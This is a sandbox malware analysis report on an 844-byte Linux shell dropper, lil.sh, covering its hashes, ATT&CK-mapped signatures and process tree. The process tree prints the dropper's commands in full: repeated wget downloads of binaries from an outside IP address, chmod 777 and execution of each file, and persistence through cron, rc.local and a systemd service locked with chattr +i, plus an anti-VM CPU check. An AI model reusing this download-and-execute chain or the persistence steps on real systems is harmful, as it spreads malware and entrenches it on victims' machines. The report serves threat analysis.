662cd578323fc9cfa37332bf9148479a99e67b61c0315e09feda63ac9761878f

Analysis

max time kernel
72s
max time network
73s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/07/2026, 18:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 844B
Sample260727-w8l8dsbr6y
SHA256 662cd578323fc9cfa37332bf9148479a99e67b61c0315e09feda63ac9761878f
MD5 f4ef04adbc770071a5f11b3be1072592
SHA1 aa9220315c22188a4478e2fbc5ab16f6ce33936b
SHA512 27872cc92417cbf0177cf1418839d6669879ebbf57d6608ee2497c489c64599eaeec263669f1782f3d5c888884ea1a9d4ce387d74536aa6dcbfe545bb4cccb2d
TLSH
T1E501AFC6D224591040DD992C31976855F872C3C6168BCF74BFACA43DBB4CE14B027F98
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
790	chmod
795	chmod
805	chmod
818	chmod
765	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/rWH	767	lil.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/crontab	rWH
File opened for modification	/etc/cron.d/crond	rWH

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	rWH

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	rWH

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	rWH

Enumerates kernel/hardware configuration 1 TTPs 5 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/786/exe	rWH
File opened for reading	/proc/821/exe	rWH
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/569/exe	rWH
File opened for reading	/proc/169/cmdline	rWH
File opened for reading	/proc/637/cmdline	rWH
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/285/exe	rWH
File opened for reading	/proc/294/exe	rWH
File opened for reading	/proc/772/exe	rWH
File opened for reading	/proc/801/exe	rWH
File opened for reading	/proc/meminfo	rWH
File opened for reading	/proc/872/exe	rWH
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/841/cmdline	rWH
File opened for reading	/proc/849/exe	rWH
File opened for reading	/proc/874/cmdline	rWH
File opened for reading	/proc/41/cmdline	rWH
File opened for reading	/proc/804/cmdline	rWH
File opened for reading	/proc/849/cmdline	rWH
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/159/cmdline	rWH
File opened for reading	/proc/829/exe	rWH
File opened for reading	/proc/830/cmdline	rWH
File opened for reading	/proc/846/exe	rWH
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/19/cmdline	rWH
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/1/cmdline	rWH
File opened for reading	/proc/18/cmdline	rWH
File opened for reading	/proc/839/cmdline	rWH
File opened for reading	/proc/843/cmdline	rWH
File opened for reading	/proc/863/exe	rWH
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/769/exe	rWH
File opened for reading	/proc/16/cmdline	rWH
File opened for reading	/proc/135/cmdline	rWH
File opened for reading	/proc/853/cmdline	rWH
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/11/cmdline	rWH
File opened for reading	/proc/106/cmdline	rWH
File opened for reading	/proc/830/exe	rWH
File opened for reading	/proc/878/exe	rWH
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/207/exe	rWH
File opened for reading	/proc/23/cmdline	rWH
File opened for reading	/proc/802/cmdline	rWH
File opened for reading	/proc/806/cmdline	rWH
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/789/exe	rWH
File opened for reading	/proc/840/exe	rWH

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/rWH	wget
File opened for modification	/tmp/lil	lil.sh

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:637
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:639
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:644
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  PID:650
- /bin/ls
  ls -l /proc/108/exe
  2⤵
  PID:657
- /bin/ls
  ls -l /proc/109/exe
  2⤵
  PID:661
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:662
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:665
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:667
- /bin/ls
  ls -l /proc/135/exe
  2⤵
  PID:670
- /bin/ls
  ls -l /proc/137/exe
  2⤵
  - Reads runtime system information
  PID:671
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:673
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:674
- /bin/ls
  ls -l /proc/153/exe
  2⤵
  PID:675
- /bin/ls
  ls -l /proc/159/exe
  2⤵
  - Reads runtime system information
  PID:676
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:678
- /bin/ls
  ls -l /proc/169/exe
  2⤵
  PID:679
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:680
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:681
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:682
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:683
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:684
- /bin/ls
  ls -l /proc/207/exe
  2⤵
  PID:685
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:686
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:689
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:691
- /bin/ls
  ls -l /proc/267/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:693
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:694
- /bin/ls
  ls -l /proc/281/exe
  2⤵
  PID:695
- /bin/ls
  ls -l /proc/282/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/285/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/288/exe
  2⤵
  PID:698
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/294/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/297/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/310/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/312/exe
  2⤵
  PID:704
- /bin/ls
  ls -l /proc/322/exe
  2⤵
  PID:705
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  PID:709
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/556/exe
  2⤵
  PID:711
- /bin/ls
  ls -l /proc/569/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/572/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/583/exe
  2⤵
  PID:714
- /bin/ls
  ls -l /proc/584/exe
  2⤵
  PID:717
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:718
- /bin/ls
  ls -l /proc/621/exe
  2⤵
  PID:721
- /bin/ls
  ls -l /proc/627/exe
  2⤵
  - Reads runtime system information
  PID:723
- /bin/ls
  ls -l /proc/629/exe
  2⤵
  PID:725
- /bin/ls
  ls -l /proc/632/exe
  2⤵
  PID:727
- /bin/ls
  ls -l /proc/634/exe
  2⤵
  PID:729
- /bin/ls
  ls -l /proc/635/exe
  2⤵
  - Reads runtime system information
  PID:731
- /bin/ls
  ls -l /proc/636/exe
  2⤵
  - Reads runtime system information
  PID:733
- /bin/ls
  ls -l /proc/637/exe
  2⤵
  PID:736
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  PID:738
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:740
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  PID:742
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:744
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:747
- /bin/ls
  ls -l /proc/98/exe
  2⤵
  PID:749
- /bin/rm
  rm -rf rWH
  2⤵
  PID:751
- /usr/bin/wget
  wget http://129.121.110.105/rWH
  2⤵
  - Writes file to tmp directory
  PID:752
- /bin/chmod
  chmod 777 rWH
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/rWH
  ./rWH lilin
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Checks CPU configuration
  - Reads runtime system information
  PID:767
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:787
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:788
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:788
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:787
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:787
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:788
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:787
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:788
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:787
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:788
- - /bin/systemctl
    systemctl enable crond.service
    3⤵
    - Enumerates kernel/hardware configuration
    PID:788
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    PID:787
- - /usr/local/sbin/chattr
    chattr +i /mnt/flash/crond
    3⤵
    PID:883
- - /usr/local/sbin/chattr
    chattr +i /home/crond
    3⤵
    PID:882
- - /usr/local/sbin/chattr
    chattr +i /data/crond
    3⤵
    PID:881
- - /usr/local/sbin/chattr
    chattr +i /root/crond
    3⤵
    PID:884
- - /usr/local/sbin/chattr
    chattr +i /var/crond
    3⤵
    PID:880
- - /usr/local/bin/chattr
    chattr +i /home/crond
    3⤵
    PID:882
- - /usr/local/bin/chattr
    chattr +i /mnt/flash/crond
    3⤵
    PID:883
- - /usr/sbin/chattr
    chattr +i /mnt/flash/crond
    3⤵
    PID:883
- - /usr/sbin/chattr
    chattr +i /home/crond
    3⤵
    PID:882
- - /usr/local/bin/chattr
    chattr +i /var/crond
    3⤵
    PID:880
- - /usr/local/sbin/chattr
    chattr +i /usr/local/sbin/crond
    3⤵
    PID:879
- - /usr/local/bin/chattr
    chattr +i /root/crond
    3⤵
    PID:884
- - /usr/bin/chattr
    chattr +i /mnt/flash/crond
    3⤵
    PID:883
- - /usr/local/bin/chattr
    chattr +i /data/crond
    3⤵
    PID:881
- - /usr/sbin/chattr
    chattr +i /root/crond
    3⤵
    PID:884
- - /usr/sbin/chattr
    chattr +i /data/crond
    3⤵
    PID:881
- - /usr/bin/chattr
    chattr +i /root/crond
    3⤵
    PID:884
- - /usr/sbin/chattr
    chattr +i /var/crond
    3⤵
    PID:880
- - /usr/bin/chattr
    chattr +i /var/crond
    3⤵
    PID:880
- - /usr/local/sbin/chattr
    chattr +i /etc/crond
    3⤵
    PID:885
- - /usr/bin/chattr
    chattr +i /home/crond
    3⤵
    PID:882
- - /usr/local/bin/chattr
    chattr +i /usr/local/sbin/crond
    3⤵
    PID:879
- - /usr/sbin/chattr
    chattr +i /usr/local/sbin/crond
    3⤵
    PID:879
- - /usr/local/bin/chattr
    chattr +i /etc/crond
    3⤵
    PID:885
- - /usr/bin/chattr
    chattr +i /usr/local/sbin/crond
    3⤵
    PID:879
- - /usr/sbin/chattr
    chattr +i /etc/crond
    3⤵
    PID:885
- - /usr/local/sbin/chattr
    chattr +i //crond
    3⤵
    PID:886
- - /usr/local/bin/chattr
    chattr +i //crond
    3⤵
    PID:886
- - /usr/sbin/chattr
    chattr +i //crond
    3⤵
    PID:886
- - /usr/bin/chattr
    chattr +i //crond
    3⤵
    PID:886
- - /usr/bin/chattr
    chattr +i /data/crond
    3⤵
    PID:881
- - /usr/bin/chattr
    chattr +i /etc/crond
    3⤵
    PID:885
- - /usr/local/sbin/chattr
    chattr +i /var/lib/crond
    3⤵
    PID:887
- - /usr/local/bin/chattr
    chattr +i /var/lib/crond
    3⤵
    PID:887
- - /usr/local/sbin/chattr
    chattr +i /var/spool/crond
    3⤵
    PID:888
- - /usr/sbin/chattr
    chattr +i /var/lib/crond
    3⤵
    PID:887
- - /usr/local/bin/chattr
    chattr +i /var/spool/crond
    3⤵
    PID:888
- - /usr/bin/chattr
    chattr +i /var/lib/crond
    3⤵
    PID:887
- - /usr/sbin/chattr
    chattr +i /var/spool/crond
    3⤵
    PID:888
- - /usr/bin/chattr
    chattr +i /var/spool/crond
    3⤵
    PID:888
- - /usr/local/sbin/chattr
    chattr +i /var/cache/crond
    3⤵
    PID:889
- - /usr/local/bin/chattr
    chattr +i /var/cache/crond
    3⤵
    PID:889
- - /usr/sbin/chattr
    chattr +i /var/cache/crond
    3⤵
    PID:889
- - /usr/bin/chattr
    chattr +i /var/cache/crond
    3⤵
    PID:889
- - /usr/local/sbin/chattr
    chattr +i /var/backups/crond
    3⤵
    PID:890
- - /usr/local/bin/chattr
    chattr +i /var/backups/crond
    3⤵
    PID:890
- - /usr/sbin/chattr
    chattr +i /var/backups/crond
    3⤵
    PID:890
- - /usr/bin/chattr
    chattr +i /var/backups/crond
    3⤵
    PID:890
- - /usr/local/sbin/chattr
    chattr +i /data/local/crond
    3⤵
    PID:891
- - /usr/local/bin/chattr
    chattr +i /data/local/crond
    3⤵
    PID:891
- - /usr/sbin/chattr
    chattr +i /data/local/crond
    3⤵
    PID:891
- - /usr/local/sbin/chattr
    chattr +i /data/misc/crond
    3⤵
    PID:892
- - /usr/local/bin/chattr
    chattr +i /data/misc/crond
    3⤵
    PID:892
- - /usr/sbin/chattr
    chattr +i /data/misc/crond
    3⤵
    PID:892
- - /usr/local/sbin/chattr
    chattr +i /home/root/crond
    3⤵
    PID:893
- - /usr/local/bin/chattr
    chattr +i /home/root/crond
    3⤵
    PID:893
- - /usr/local/sbin/chattr
    chattr +i /home/admin/crond
    3⤵
    PID:894
- - /usr/sbin/chattr
    chattr +i /home/root/crond
    3⤵
    PID:893
- - /usr/local/bin/chattr
    chattr +i /home/admin/crond
    3⤵
    PID:894
- - /usr/bin/chattr
    chattr +i /data/misc/crond
    3⤵
    PID:892
- - /usr/bin/chattr
    chattr +i /data/local/crond
    3⤵
    PID:891
- - /usr/local/sbin/chattr
    chattr +i /mnt/flash/data/crond
    3⤵
    PID:895
- - /usr/sbin/chattr
    chattr +i /home/admin/crond
    3⤵
    PID:894
- - /usr/local/bin/chattr
    chattr +i /mnt/flash/data/crond
    3⤵
    PID:895
- - /usr/sbin/chattr
    chattr +i /mnt/flash/data/crond
    3⤵
    PID:895
- - /usr/local/sbin/chattr
    chattr +i /usr/local/bin/crond
    3⤵
    PID:896
- - /usr/bin/chattr
    chattr +i /mnt/flash/data/crond
    3⤵
    PID:895
- - /usr/bin/chattr
    chattr +i /home/root/crond
    3⤵
    PID:893
- - /usr/local/bin/chattr
    chattr +i /usr/local/bin/crond
    3⤵
    PID:896
- - /usr/local/sbin/chattr
    chattr +i /opt/crond
    3⤵
    PID:897
- - /usr/sbin/chattr
    chattr +i /usr/local/bin/crond
    3⤵
    PID:896
- - /usr/bin/chattr
    chattr +i /usr/local/bin/crond
    3⤵
    PID:896
- - /usr/local/bin/chattr
    chattr +i /opt/crond
    3⤵
    PID:897
- - /usr/bin/chattr
    chattr +i /home/admin/crond
    3⤵
    PID:894
- - /usr/sbin/chattr
    chattr +i /opt/crond
    3⤵
    PID:897
- - /usr/bin/chattr
    chattr +i /opt/crond
    3⤵
    PID:897
- - /usr/local/sbin/chattr
    chattr +i /srv/crond
    3⤵
    PID:898
- - /usr/local/bin/chattr
    chattr +i /srv/crond
    3⤵
    PID:898
- - /usr/sbin/chattr
    chattr +i /srv/crond
    3⤵
    PID:898
- - /usr/bin/chattr
    chattr +i /srv/crond
    3⤵
    PID:898
- - /usr/local/sbin/systemctl
    systemctl stop crond.service
    3⤵
    PID:899
- - /usr/local/bin/systemctl
    systemctl stop crond.service
    3⤵
    PID:899
- - /usr/local/sbin/systemctl
    systemctl disable crond.service
    3⤵
    PID:900
- - /usr/sbin/systemctl
    systemctl stop crond.service
    3⤵
    PID:899
- - /usr/bin/systemctl
    systemctl stop crond.service
    3⤵
    PID:899
- - /usr/local/bin/systemctl
    systemctl disable crond.service
    3⤵
    PID:900
- - /sbin/systemctl
    systemctl stop crond.service
    3⤵
    PID:899
- - /bin/systemctl
    systemctl stop crond.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:899
- - /usr/sbin/systemctl
    systemctl disable crond.service
    3⤵
    PID:900
- - /usr/bin/systemctl
    systemctl disable crond.service
    3⤵
    PID:900
- - /sbin/systemctl
    systemctl disable crond.service
    3⤵
    PID:900
- - /bin/systemctl
    systemctl disable crond.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:900
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:901
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:901
- /bin/rm
  rm -rf dmff
  2⤵
  PID:774
- /usr/bin/wget
  wget http://129.121.110.105/dmff
  2⤵
  PID:786
- /bin/chmod
  chmod 777 dmff
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/dmff
  ./dmff lilin
  2⤵
  PID:791
- /bin/rm
  rm -rf BHRm
  2⤵
  PID:792
- /usr/bin/wget
  wget http://129.121.110.105/BHRm
  2⤵
  PID:794
- /bin/chmod
  chmod 777 BHRm
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/BHRm
  ./BHRm lilin
  2⤵
  PID:798
- /bin/rm
  rm -rf LSD
  2⤵
  PID:799
- /usr/bin/wget
  wget http://129.121.110.105/LSD
  2⤵
  PID:800
- /bin/chmod
  chmod 777 LSD
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/LSD
  ./LSD lilin
  2⤵
  PID:815
- /bin/rm
  rm -rf uOa
  2⤵
  PID:816
- /usr/bin/wget
  wget http://129.121.110.105/uOa
  2⤵
  PID:817
- /bin/chmod
  chmod 777 uOa
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/uOa
  ./uOa lilin
  2⤵
  PID:819
- /bin/rm
  rm -rf lil
  2⤵
  PID:820

/usr/sbin/systemctl
systemctl daemon-reload
1⤵
PID:901

/usr/bin/systemctl
systemctl daemon-reload
1⤵
PID:901

/sbin/systemctl
systemctl daemon-reload
1⤵
PID:901

/bin/systemctl
systemctl daemon-reload
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:901

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

crond

Path /etc/cron.d/crond
Size 31B
SHA256 822189b89498873edfbdbc8f6919c7eb28eb9ec00766c9c896c539be8ce7df16
MD5 44048c5bce3fa500a251a81eb94e8af3
SHA1 b4a5c8a61e3b16e55641ec5b58f96e9f88fae6e7
SHA512 81ed7fdf3defb4f573a3bc28e374d3580d66fd1abd02d86033335316fbc7d2f41c39e98a85611cc4e85e73b792b27ab1d9560b4e003ca352d31e4e62f2aefb5f
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 35B
SHA256 6a3b1f4d7ac73544c637b096fd286a148c77b531ef0f93ec6b91c506aee75dd0
MD5 cf2fcf60d829e1d556c9613c7c6c578c
SHA1 7597e98bc1cd8998d7579db9ca334a1b36254e4c
SHA512 8f1787e71c66df2934dc4fd87a3fb94a2e240be8006b8529084db67aa1368daf9581a148e07ccf6a475785c3a8f2e49bee7f4436311a7ea1040cc73865951010
MD5 SHA1 SHA512

Submit Download

crond.service

Path /etc/systemd/system/crond.service
Size 194B
SHA256 cbe8d1c5bf6abb9898bae8581b226cdb1fac5ba8293a7c9f28acaf377db448a7
MD5 37bbb8c1dca24d7d90b7d4aa30bb152e
SHA1 f35ce0aa560830173921b3e2feba60b5543c2afd
SHA512 7c96addc7c43cdb5a16f75ea5907f87f62702f4a28475aa2272467a85bd04d983b65026216ae676456ed16e2e7cd581f54ada7ac2d2d545bfdf5e4804f6d6f24
TLSH
T19BC0231395211490494F35615D9617448CA5020006CF9270079014191DF10E711218AD
MD5 SHA1 SHA512 TLSH

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

rWH

Path /tmp/rWH
Size 66KB
SHA256 70ca605f6de6dcbda5f2374923a10b60774aba2d33c23d17ffbaff5889546dd8
MD5 05fb13333c59fd15a7ebf86d92b39442
SHA1 80e47bb1cd51f0fc660cc24f8af62bf8847a9a4a
SHA512 bd0959505a5b715fd12ae3b2a8482d974b98bc0cb251a61d8b177c7c80dcc79b5c7a67010e361214fca339c9dd78b0376465870a52b81b05da694437198e952f
SSDEEP 1536:d2cjKQ+TvjGZc6QY7dKkhrUBEvJXsE8YhRZcF5WFvEoXUc/+Gi:d2cjd+TCUrkhUBcJ8ER7ukFvEAU
TLSH
T1F5632966B9419F16C2C12777FF1EC389332663E8E3DA7203DA142F6937CB41A0E2A555
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads